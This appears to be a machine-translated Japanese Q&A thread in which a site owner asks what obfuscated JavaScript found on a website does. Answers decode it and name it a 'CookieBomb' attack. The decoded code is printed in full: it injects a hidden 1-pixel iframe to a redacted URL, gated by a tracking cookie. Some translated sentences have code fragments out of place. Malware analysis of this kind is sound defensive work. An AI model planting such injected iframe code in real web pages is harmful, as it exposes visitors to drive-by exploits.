javascript - Web サイトで見つかった悪意のあるコードは何をしますか?

Question

助けを求められた Web サイトでこのコードを見つけましたが、あらゆる種類の混乱を引き起こしています。最初は別のサイトにリダイレクトされましたが、何らかのペイロードを配信しようとしていると思います。これを解読する方法がわかりませんが、非常に興味があります。誰かが私を正しい方向に向けることができますか?

その一部をGoogleで検索すると、かなりの数のサイトが表示されます。

編集：すべてを投稿することはできないようですので、興味のある方のためにペーストビンに貼り付けました！ http://pastebin.com/w1eH1JkB

score 7 · Accepted Answer

少しいじった後、私はこれを思いつきました：

var code='';
for(i=0;i<a.length;i++) {
  code = code + String.fromCharCode(parseInt(a[i],8)-4);
}
console.log(hax);

"a" をデコードし、これを出力します。

 function zzzfff() {
 var y = document.createElement('iframe');

 y.src = 'REDACTED';
 y.style.position = 'absolute';
 y.style.border = '0';
 y.style.height = '1px';
 y.style.width = '1px';
 y.style.left = '1px';
 y.style.top = '1px';

 if (!document.getElementById('y')) {
 document.write('<div id=\'y\'></div>');
 document.getElementById('y').appendChild(y);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();
}
}

このコードは、別のサイトから iframe を読み込みます。訪問者を追跡しているだけのように見えますが、彼らは iframe で何かをしている可能性があります (ブラウザのエクスプロイトを試すなど)。

score 1 · Accepted Answer

暗号化されたものの内容は、いわゆる「CookieBomb」攻撃であり、最近よく使用されます。復号化とアクティベーションについては、Jeffrey Sambells の「Anatomy of a Hack」で詳しく説明されています。

この種の「暗号化された JS のもの」の背後にあるものを見つけるための良い方法は、ソースを整形し、何かがドキュメントに編集または書き込まれるdebugger;直前にステートメントを配置するか、それらを置き換えて JavaScript コンソールで実行することです。クライアントで実行する必要がある場合、悪意のある作成者は常にデコードメカニズムを含める必要があります。eval()console.log()

JavaScript、難読化、Cookie を使用して、ロボットが「感染」に気付かないようにします。ただし、Web でdocument.body++または関数 zzzfffを検索すると、多くの結果が得られます。

注目に値するのは、デコード関数は、以前に値が 2 で成功した場合、またはクライアントの実装が何か間違ったことをした場合thatss.fromCharCode.apply(ss,a)にのみeval-edになります。したがって、非常に具体的なものをターゲットにしています (または、このスニペットのコーダーが何か間違ったことをしました)。zzdocument.body++

javascript - Web サイトで見つかった悪意のあるコードは何をしますか?

2 に答える 2

Related

Reference